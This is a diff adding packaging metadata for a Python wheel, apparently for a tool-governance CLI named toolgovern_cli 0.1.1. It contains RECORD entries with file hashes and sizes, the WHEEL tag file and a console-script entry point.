+ toolgovern/classifier/shell_risk.py,sha256=esdkbSypLDtY1bftOZdPTGfPN1CEwzw4WzOvcCXn9jI,14393
15
+ toolgovern/classifier/util.py,sha256=6XoGN4uH2qXVV6om_am7JVHNVU8YOwSGwoFWRWhD9QY,11062
16
+ toolgovern/mcp_trust/__init__.py,sha256=PAqJGaCNzj3kRxV9wAFHU3JYjPBQCrZJge5ZYKk13rA,15257
17
+ toolgovern/middleware/__init__.py,sha256=UMVkI_DHQLao3GoaFf7GZevgfXih-awqg5K9HMQ2sU4,741
18
+ toolgovern/middleware/idempotency_cache.py,sha256=Pc7D1iy-_YD_IRuGEZiqPxQ-GFC06ZvKJpQvO69XAWI,5123
19
+ toolgovern/middleware/on_tool_call.py,sha256=AmItBVfwm6bJOTUM730KX2rybcjitMRz8y1HsMI0j_U,25029
20
+ toolgovern/policy/__init__.py,sha256=LD3vSGO3uhh4MmLDrdo8Yv785V3HmPi3dXo96_26g9E,273
21
+ toolgovern/policy/load_policy.py,sha256=GsDwWLe1LEBsOOT0Nm5mYQ7g2nahZvAh2U5m47ahSNQ,1377
22
+ toolgovern/policy/validate_policy.py,sha256=mvEyHzD4DnEjQTsZFr5JMtXU-DLYAU-_SkJTjuxSvXI,4380
23
+ toolgovern/scoping/__init__.py,sha256=dyX3xVizXMrUerI3uY44pyk9dxCbD9jZP3kxSFaASMI,444
24
+ toolgovern/scoping/inheritance_enforcer.py,sha256=32HKoBZPawnry8kCzfM0xjRtVhMQS42yxsPl0sDRNfI,7132
25
+ toolgovern/scoping/scope_declaration.py,sha256=4zuaD39U4hKPGCM4ERYJEA8YX6tvt1KY36pKh23CoZg,3725
26
+ toolgovern/shared/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
27
+ toolgovern/shared/paths.py,sha256=7hVG4033ZMwrDj_w8seQx3Q3kMoI4caxYMHPFVDs3so,10453
28
+ toolgovern/trace/__init__.py,sha256=wnahlKsdzG3nyU15pa1zH0YVhuQJL3hAz3SyOsZU1KY,700
29
+ toolgovern/trace/canonical_json.py,sha256=TWGi7dXeL_vVKjKn5Sc4okaxa35lqwr4oS9fg4qPoQg,1137
30
+ toolgovern/trace/trace_reader.py,sha256=Q6CLnCZaCIwv7NjX5CLuXIQp33EV-9fmo5IZZPIKNzk,8274
31
+ toolgovern/trace/trace_writer.py,sha256=VO4knGQg8RwitFsaFTgKd2Qc23EaoIfgozodiW5eyIQ,10629
32
+ toolgovern_cli-0.1.1.dist-info/METADATA,sha256=AZvRhlhOjW8YHmXNSU5jYpX9KWhjEPZjJgEi9dXK5f8,18540
33
+ toolgovern_cli-0.1.1.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
34
+ toolgovern_cli-0.1.1.dist-info/entry_points.txt,sha256=TE_NbJvZZaDDE0ko6hvRzOrKHe2d8WG43jc1aUbW_f8,55
35
+ toolgovern_cli-0.1.1.dist-info/licenses/LICENSE,sha256=PIBQEOkE-RrLrNIDRjiIoLwhanVi_5UkYzIeyhCIr9I,11344
36
+ toolgovern_cli-0.1.1.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.31.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ toolgovern-cli = toolgovern.cli:main